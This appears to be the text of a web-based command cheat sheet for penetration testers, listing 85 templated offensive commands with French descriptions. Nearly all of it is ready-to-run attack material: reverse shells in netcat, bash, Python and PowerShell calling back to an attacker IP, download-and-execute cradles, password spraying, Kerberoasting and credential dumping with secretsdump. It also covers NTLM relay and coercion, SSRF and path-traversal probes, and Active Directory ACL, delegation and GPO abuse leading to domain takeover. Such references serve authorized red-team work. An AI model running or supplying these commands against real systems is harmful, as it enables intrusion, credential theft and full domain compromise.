Commandr

Centralized command repository for security researchers and penetration testers

Variables Configuration

Configure your target variables. Enable Fill Variables to substitute values into commands (e.g. $TARGET).

Filter by Tags

Commands must match every selected tag.

Commands

Showing 85 of 85 commands

Énumération des partages SMB (nmap)

Lister les partages SMB sur une cible.
Tool repository
nmap -p 445 --script smb-enum-shares.nse --script-args smbuser=$USER,smbpass=$PASSWORD $TARGET

Énumération des sessions SMB (nmap)

Lister les sessions SMB actives sur une cible.
Tool repository
nmap -p 445 --script smb-enum-sessions.nse --script-args smbuser=$USER,smbpass=$PASSWORD $TARGET

Brute-force des identifiants SMB (nmap)

Tenter de brute-forcer les identifiants SMB.
Tool repository
nmap -p 445 --script smb-brute.nse --script-args userdb=users.txt,passdb=passwords.txt $TARGET

Lister les partages SMB (smbclient)

Lister les partages SMB accessibles avec des identifiants.
Tool repository
smbclient -L //$TARGET/ -U $USER%$PASSWORD

Accéder à un partage SMB (smbclient)

Se connecter à un partage SMB spécifique.
Tool repository
smbclient //$TARGET/SHARE_NAME -U $USER%$PASSWORD

Lister les utilisateurs du domaine (rpcclient)

Énumérer les utilisateurs d'un domaine Active Directory.
Tool repository
rpcclient -U "$DOMAIN\$USER%$PASSWORD" -c "enumdomusers" $TARGET

Obtenir les informations du domaine (rpcclient)

Récupérer des informations sur le domaine Active Directory.
Tool repository
rpcclient -U "$DOMAIN\$USER%$PASSWORD" -c "querydominfo" $TARGET

Énumération LDAP de base (ldapsearch)

Requête LDAP de base pour énumérer tous les objets.
Tool repository
ldapsearch -x -H ldap://$TARGET -b "$BASE_DN" "(objectClass=*)"

Énumération des utilisateurs LDAP (ldapsearch)

Lister les sAMAccountName des utilisateurs via LDAP avec authentification.
Tool repository
ldapsearch -x -H ldap://$TARGET -D "$DOMAIN\$USER" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName

Énumération des groupes LDAP (ldapsearch)

Lister les noms communs (cn) des groupes via LDAP avec authentification.
Tool repository
ldapsearch -x -H ldap://$TARGET -D "$DOMAIN\$USER" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=group)" cn

Kerbrute - User Enumeration (kerbrute)

Énumérer les utilisateurs valides via Kerberos.
Tool repository
./kerbrute userenum --dc $TARGET -d $DOMAIN users.txt

Kerbrute - Password Spraying (kerbrute)

Tenter un mot de passe unique contre une liste d'utilisateurs via Kerberos.
Tool repository
./kerbrute passwordspray --dc $TARGET -d $DOMAIN users.txt '$PASSWORD'

GetNPUsers - AS-REP Roasting (Impacket)

Récupérer les hashes AS-REP des comptes ne requérant pas de pré-authentification Kerberos (AS-REP Roasting).
Tool repository
GetNPUsers.py $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $TARGET -format hashcat -outputfile asrep.hash

GetUserSPNs - Kerberoasting (Impacket)

Récupérer les TGS pour les comptes de service (Kerberoasting).
Tool repository
GetUserSPNs.py -request -dc-ip $TARGET $DOMAIN/$USER:$PASSWORD

Secretsdump (Impacket)

Extraire les secrets (hashes NTDS.DIT, LSA secrets) d'un contrôleur de domaine.
Tool repository
secretsdump.py $DOMAIN/$USER:$PASSWORD@$TARGET

Psexec (Impacket)

Exécuter des commandes à distance via SMB/RPC.
Tool repository
psexec.py $DOMAIN/$USER:$PASSWORD@$TARGET

Smbexec (Impacket)

Alternative à psexec pour l'exécution de commandes à distance.
Tool repository
smbexec.py $DOMAIN/$USER:$PASSWORD@$TARGET

Wmiexec (Impacket)

Exécuter des commandes à distance via WMI.
Tool repository
wmiexec.py $DOMAIN/$USER:$PASSWORD@$TARGET

BloodHound Data Ingestor (SharpHound)

Collecter les données AD pour BloodHound.
Tool repository
SharpHound.exe -c All -d $DOMAIN --DomainController $TARGET

Scan de ports TCP SYN (nmap)

Scan SYN rapide de tous les ports TCP.
Tool repository
nmap -sS -p- -T4 $TARGET

Scan de ports UDP (nmap)

Scan des 200 ports UDP les plus courants.
Tool repository
nmap -sU --top-ports 200 -T4 $TARGET

Scan de versions et scripts par défaut (nmap)

Détecter les versions des services et exécuter les scripts par défaut.
Tool repository
nmap -sV -sC $TARGET

Énumération HTTP (nmap)

Énumérer les répertoires et fichiers web courants.
Tool repository
nmap --script http-enum -p 80,443 $TARGET

Scan de vulnérabilités HTTP (nmap)

Rechercher des vulnérabilités web connues avec les scripts nmap.
Tool repository
nmap --script http-vuln* -p 80,443 $TARGET

Brute-force de répertoires web (gobuster)

Brute-forcer les répertoires et fichiers sur un serveur web.
Tool repository
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Brute-force de sous-domaines (gobuster)

Brute-forcer les sous-domaines.
Tool repository
gobuster dns -d $DOMAIN -w /usr/share/wordlists/subdomains.txt

Brute-force de vhosts (gobuster)

Brute-forcer les hôtes virtuels (vhosts).
Tool repository
gobuster vhost -u http://$DOMAIN/ -w /usr/share/wordlists/vhosts.txt --append-domain

Scan Nikto de base

Scanner un serveur web pour des vulnérabilités connues.
Tool repository
nikto -h http://$TARGET/

Scan SQLMap GET

Tester une injection SQL sur un paramètre GET et lister les bases de données.
Tool repository
sqlmap -u "http://$TARGET/vuln_page.php?id=1" --batch --dbs

Scan SQLMap POST

Tester une injection SQL sur des paramètres POST.
Tool repository
sqlmap -u "http://$TARGET/login.php" --data="user=test&pass=test&submit=login" --batch --dbs

Énumération de fichiers SUID/SGID (Linux)

Trouver les fichiers avec les bits SUID ou SGID positionnés.
Tool repository
find / -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null

Vérifier les capacités (Linux)

Lister les capacités des fichiers exécutables.
Tool repository
getcap -r / 2>/dev/null

Lister les tâches cron (Linux)

Vérifier les tâches cron système et utilisateur.
Tool repository
cat /etc/crontab; ls -la /etc/cron.*; for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done

Vérifier les services en cours d'exécution (Linux)

Lister les processus et services actifs.
Tool repository
ps aux; systemctl list-units --type=service --state=running; service --status-all

Écoute de port avec Netcat (Linux/Windows)

Mettre en place un écouteur Netcat sur un port spécifié.
Tool repository
nc -lvnp $PORT

Reverse Shell Netcat (Linux)

Reverse shell basique avec Netcat vers votre IP et port.
Tool repository
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LOCAL_IP $PORT >/tmp/f

Reverse Shell Bash (Linux)

Reverse shell Bash.
Tool repository
bash -i >& /dev/tcp/$LOCAL_IP/$PORT 0>&1

Reverse Shell Python (Linux)

Reverse shell Python.
Tool repository
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$LOCAL_IP",$PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/bash","-i"])'

Télécharger un fichier avec wget (Linux)

Télécharger un fichier depuis un serveur HTTP.
Tool repository
wget http://$LOCAL_IP:$PORT/file -O /tmp/file

Télécharger un fichier avec curl (Linux)

Télécharger un fichier depuis un serveur HTTP.
Tool repository
curl http://$LOCAL_IP:$PORT/file -o /tmp/file

Servir des fichiers avec un serveur HTTP Python (Linux/Windows)

Démarrer un serveur HTTP simple pour servir des fichiers depuis le répertoire courant.
Tool repository
python3 -m http.server $PORT

LinEnum.sh - Script d'énumération Linux

Script complet d'énumération des informations système et des potentielles faiblesses de configuration pour l'escalade de privilèges.
Tool repository
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh; chmod +x /tmp/LinEnum.sh; /tmp/LinEnum.sh -r report.txt -e /tmp/ -t

PEASS-ng (linPEAS) - Script d'énumération

Script d'énumération pour Windows (winPEAS) ou Linux (linPEAS) pour la recherche de vecteurs d'escalade de privilèges.
Tool repository
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O /tmp/linpeas.sh; chmod +x /tmp/linpeas.sh; /tmp/linpeas.sh -a

NXC - Énumération SMB

Énumérer les partages SMB avec NXC (formerly NXC).
Tool repository
nxc smb $TARGET -u $USER -p $PASSWORD --shares

NXC - Énumération des sessions SMB

Énumérer les sessions SMB avec NXC.
Tool repository
nxc smb $TARGET -u $USER -p $PASSWORD --smb-sessions

NXC - Exécution de commande (via wmiexec)

Exécuter une commande à distance avec NXC (utilise différents protocoles dont WMI).
Tool repository
nxc smb $TARGET -u $USER -p $PASSWORD -x "whoami" --exec-method wmiexec

NXC - Lister les utilisateurs SAM

Tenter de dumper les hashes SAM locaux.
Tool repository
nxc smb $TARGET -u $USER -p $PASSWORD --sam

NXC - Spraying de mot de passe

Password spraying sur une plage d'IP avec NXC.
Tool repository
nxc smb $TARGET -u users.txt -p "$PASSWORD"

NXC - Énumération LDAP

Énumérer les utilisateurs via LDAP avec NXC.
Tool repository
nxc ldap $TARGET -u $USER -p $PASSWORD --users

NXC - Énumération des groupes LDAP

Énumérer les groupes via LDAP avec NXC.
Tool repository
nxc ldap $TARGET -u $USER -p $PASSWORD --groups

Evil-WinRM - Connexion

Se connecter à une machine Windows via WinRM.
Tool repository
evil-winrm -i $TARGET -u $USER -p $PASSWORD

Hashcat - Crack de hash NTLM

Cracker un hash NTLM avec Hashcat et une wordlist.
Tool repository
hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt

John the Ripper - Crack de hash /etc/shadow

Cracker des hashes de mots de passe Linux (format /etc/shadow).
Tool repository
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt

Responder - Empoisonnement LLMNR/NBT-NS/MDNS

Lancer Responder pour capturer les hashes Net-NTLM.
Tool repository
responder -I eth0 -v

ntlmrelayx - Relais NTLM

Relayer des authentifications NTLM pour exécuter des commandes.
Tool repository
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

DNSRecon - Énumération DNS

Énumération DNS complète d'un domaine.
Tool repository
dnsrecon -d $DOMAIN -t std,srv,axfr,zonewalk

Enum4linux-ng - Énumération Windows/Samba

Script d'énumération complet pour les systèmes Windows et Samba.
Tool repository
enum4linux-ng.py $TARGET -A -oA enum_results

Recherche de exploits (searchsploit)

Rechercher des exploits dans la base de données locale d'Exploit-DB.
Tool repository
searchsploit -w apache

PowerShell - Télécharger et exécuter un script

Télécharger et exécuter un script PowerShell en mémoire.
Tool repository
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://$LOCAL_IP:$PORT/script.ps1')"

PowerShell - Reverse Shell (Nishang)

Utiliser le script Invoke-PowerShellTcp de Nishang pour un reverse shell.
Tool repository
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress $LOCAL_IP -Port $PORT"

Chisel - Tunneling TCP/UDP via HTTP

Créer un proxy SOCKS inverse avec Chisel : lancez le serveur sur votre machine, puis le client sur la cible.
Tool repository
chisel server -p $PORT --reverse   # sur l'attaquant
chisel client $LOCAL_IP:$PORT R:1080:socks   # sur la cible (proxy SOCKS sur 127.0.0.1:1080)

Certipy - Énumération et abus de certificats AD CS

Trouver les templates de certificats vulnérables et les CA dans Active Directory Certificate Services.
Tool repository
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET -stdout -vulnerable

Certipy - Requête de certificat (ESC1)

Demander un certificat en se faisant passer pour un autre utilisateur (ex: admin) si ESC1 est exploitable.
Tool repository
certipy req -u '$USER@$DOMAIN' -p '$PASSWORD' -dc-ip $TARGET -ca '$CA_NAME' -template '$TEMPLATE_NAME' -upn '$ADMIN_USER@$DOMAIN'

Certipy - Authentification avec certificat

S'authentifier en utilisant un certificat PFX obtenu.
Tool repository
certipy auth -pfx cert.pfx -dc-ip $TARGET -username $FORGED_USER -domain $DOMAIN

Coercer - Authentification de machine (PrinterBug)

Tenter de forcer une machine (ex: un DC) à s'authentifier sur une machine contrôlée (listener) via le spooler service.
Tool repository
Coercer.py coerce -u $USER -p $PASSWORD -d $DOMAIN -t $TARGET_DC -I $LOCAL_IP

PetitPotam - Forcer l'authentification NTLM via EFSRPC

Forcer une machine Windows à s'authentifier sur une machine arbitraire via MS-EFSRPC.
Tool repository
python3 PetitPotam.py $LOCAL_IP $TARGET_DC -u $USER -p $PASSWORD -d $DOMAIN

Scan de vulnérabilités web avec Nuclei

Scanner une URL avec des templates Nuclei pour des CVEs.
Tool repository
nuclei -u http://$TARGET -t ~/nuclei-templates/cves/

Scan de technologies web avec Wappalyzer (CLI)

Identifier les technologies utilisées par un site web.
Tool repository
wappalyzer http://$TARGET

Test de traversée de répertoire (Path Traversal)

Tentative basique de path traversal pour lire /etc/passwd (--path-as-is empêche curl de normaliser les ../).
Tool repository
curl --path-as-is http://$TARGET/../../../../etc/passwd

Test de Server-Side Request Forgery (SSRF) basique

Tentative basique de SSRF pour accéder aux métadonnées d'instance cloud.
Tool repository
curl -X POST -d 'url=http://169.254.169.254/latest/meta-data/' http://$TARGET/proxy?url=

Gopherus pour SSRF vers des services internes

Générer une payload Gopher pour exploiter un SSRF vers un service interne comme MySQL.
Tool repository
gopherus --exploit mysql

BloodHound: GenericAll/GenericWrite sur un Utilisateur - Réinitialisation de mot de passe (PowerShell)

Exploiter GenericAll/GenericWrite sur un utilisateur pour réinitialiser son mot de passe. Nécessite des outils AD PowerShell et des droits suffisants pour exécuter sur/contre un DC ou une machine avec les outils RSAT.
Tool repository
Set-ADAccountPassword -Identity $TARGET_USER -NewPassword $(ConvertTo-SecureString -String '$NEW_PASSWORD' -AsPlainText -Force) -Reset -Server $DOMAIN_CONTROLLER

BloodHound: GenericAll/GenericWrite sur un Utilisateur - Réinitialisation de mot de passe (rpcclient)

Utiliser rpcclient pour réinitialiser le mot de passe d'un utilisateur cible si vous avez GenericWrite/GenericAll dessus. Le compte $ATTACKER_USER a le droit sur $TARGET_USER.
Tool repository
rpcclient -U "$DOMAIN\$ATTACKER_USER%$ATTACKER_PASSWORD" -c "setuserinfo2 \"$TARGET_USER\" 24 \"$NEW_PASSWORD\"" $DOMAIN_CONTROLLER_IP

BloodHound: GenericAll/GenericWrite sur un Groupe - Ajout d'utilisateur (PowerShell)

Exploiter GenericAll/GenericWrite sur un groupe pour y ajouter un utilisateur. $USER_TO_ADD peut être votre utilisateur compromis.
Tool repository
Add-ADGroupMember -Identity "$TARGET_GROUP" -Members "$USER_TO_ADD" -Server $DOMAIN_CONTROLLER

BloodHound: GenericAll/GenericWrite sur un Groupe - Ajout d'utilisateur (net group)

Alternative avec 'net group' pour ajouter un utilisateur à un groupe. Exécuter depuis une machine jointe au domaine ou via psexec/winrm.
Tool repository
net group "$TARGET_GROUP_NAME" "$USER_TO_ADD" /add /domain

BloodHound: WriteDacl sur un Utilisateur/Groupe - Donner DCSync (PowerShell)

Si vous avez WriteDacl sur l'objet domaine, vous pouvez vous donner les droits DCSync. Ici, on donne à un $TARGET_USER_FOR_DCSYNC les droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All. Complexe, à adapter avec soin.
Tool repository
$TargetUser = Get-ADUser -Identity $TARGET_USER_FOR_DCSYNC; $ACL = Get-Acl -Path "AD:$($TargetUser.DistinguishedName)"; $SID = [System.Security.Principal.SecurityIdentifier] "S-1-5-32-544"; $ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID, "Replicating Directory Changes", "Allow"; $ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID, "Replicating Directory Changes All", "Allow"; $ACL.AddAccessRule($ACE1); $ACL.AddAccessRule($ACE2); Set-Acl -Path "AD:$($TargetUser.DistinguishedName)" -AclObject $ACL

BloodHound: WriteDacl sur un Utilisateur - Se donner GenericAll (PowerShell)

Exploiter WriteDacl sur un objet (ex: utilisateur, groupe, ordinateur) pour s'accorder (à $YOUR_CONTROLLED_USER) le droit GenericAll sur cet objet.
Tool repository
$Target = Get-ADUser -Identity '$TARGET_USER_ON_WHICH_YOU_HAVE_WRITEDACL'; $SID = ([System.Security.Principal.NTAccount]'$DOMAIN\$YOUR_CONTROLLED_USER').Translate([System.Security.Principal.SecurityIdentifier]); $ACL = Get-Acl -Path "AD:$($Target.DistinguishedName)"; $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $SID,'GenericAll','Allow'; $ACL.AddAccessRule($ACE); Set-Acl -Path "AD:$($Target.DistinguishedName)" -AclObject $ACL

BloodHound: GenericAll/WriteProperty sur Ordinateur - Abus de délégation basée sur les ressources (RBCD)

Si vous avez GenericAll/WriteProperty (spécifiquement pour msDS-AllowedToActOnBehalfOfOtherIdentity) sur un ordinateur cible ($VICTIM_COMPUTER_NAME), vous pouvez configurer RBCD pour qu'un ordinateur que vous contrôlez ($ATTACKER_COMPUTER_NAME) puisse s'authentifier en tant qu'utilisateur sur l'ordinateur cible.
Tool repository
rbcd.py -action write -delegate-to $ATTACKER_COMPUTER_NAME\$ -target-spn HOST/$VICTIM_COMPUTER_NAME -dc-ip $DOMAIN_CONTROLLER_IP '$DOMAIN/$USER_WITH_WRITE_PRIVS:$PASSWORD'

BloodHound: GenericAll/WriteProperty sur Ordinateur - Shadow Credentials (Whisker/Certipy)

Abus de msDS-KeyCredentialLink (GenericAll/GenericWrite sur un objet ordinateur) : 'certipy shadow auto' ajoute une clé, s'authentifie et récupère le hash NT du compte machine. Whisker (C#) fait l'équivalent sous Windows.
Tool repository
certipy shadow auto -u '$USER@$DOMAIN' -p '$PASSWORD' -account '$TARGET_COMPUTER_NAME$' -dc-ip $DOMAIN_CONTROLLER_IP

BloodHound: WriteOwner sur Objet - Prendre possession puis WriteDacl

Si vous avez WriteOwner sur un objet, vous pouvez en devenir propriétaire, puis modifier sa DACL pour vous accorder GenericAll. Nécessite un script comme Set-Owner.ps1 ou des appels LDAP/ADSI complexes.
Tool repository
Set-Owner.ps1 -TargetSamAccountName $TARGET_OBJECT_SAMNAME -NewOwnerSamAccountName $YOUR_CONTROLLED_USER_SAMNAME; # Ensuite, utiliser Set-ACL pour se donner GenericAll

BloodHound: GenericAll/WriteProperty sur GPO - Modification de GPO (SharpGPOAbuse)

Si vous avez GenericAll/WriteProperty sur un objet GPO, vous pouvez le modifier pour, par exemple, ajouter un utilisateur au groupe Administrateurs local sur les machines où la GPO s'applique.
Tool repository
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount $YOUR_USER --GPOName "$TARGET_GPO_NAME"

BloodHound: GenericAll/WriteProperty sur GPO - Modification de GPO (PowerShell pour Immediate Task)

Modifier une GPO pour exécuter une commande ou un script sur les ordinateurs affectés. Nécessite les cmdlets PowerShell de gestion des GPO ou une interaction directe avec SYSVOL et les objets GPO LDAP. Ceci est un pseudo-code conceptuel.
Tool repository
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "$DOMAIN\$USER" --Command "cmd.exe" --Arguments "/c script.bat" --GPOName "$TARGET_GPO_NAME"

BloodHound: DCSync (Droits DS-Replication-Get-Changes et DS-Replication-Get-Changes-All)

Si un utilisateur ($USER_WITH_DCSYNC_RIGHTS) a les droits DCSync sur le domaine, il peut répliquer les secrets de n'importe quel utilisateur, y compris krbtgt.
Tool repository
secretsdump.py -just-dc-user '$TARGET_USER_TO_DUMP' '$DOMAIN/$USER:$PASSWORD@$DOMAIN_CONTROLLER_IP'

BloodHound: Ajout d'utilisateur à un groupe (net rpc)

Exploiter le droit d'ajouter un membre à un groupe (ex: GenericWrite, WriteProperty sur 'member', AddMember) en utilisant 'net rpc'. $CONTROLLED_USER est le compte ayant le droit sur $TARGET_GROUP. $TARGET_USER_TO_ADD est l'utilisateur à ajouter.
Tool repository
net rpc group addmem "$TARGET_GROUP" "$TARGET_USER_TO_ADD" -U "$DOMAIN\$CONTROLLED_USER%$PASSWORD" -S "$DOMAIN_CONTROLLER"

NXC: Collecte BloodHound via LDAP

Utiliser NXC (NXC) pour collecter toutes les données BloodHound via le protocole LDAP, en utilisant le contrôleur de domaine cible ($TARGET) comme serveur DNS pour la résolution. Remplacez $USER et $PASSWORD par des identifiants valides pour le domaine.
Tool repository
nxc ldap $TARGET -u '$USER' -p '$PASSWORD' --bloodhound -c All --dns-server $TARGET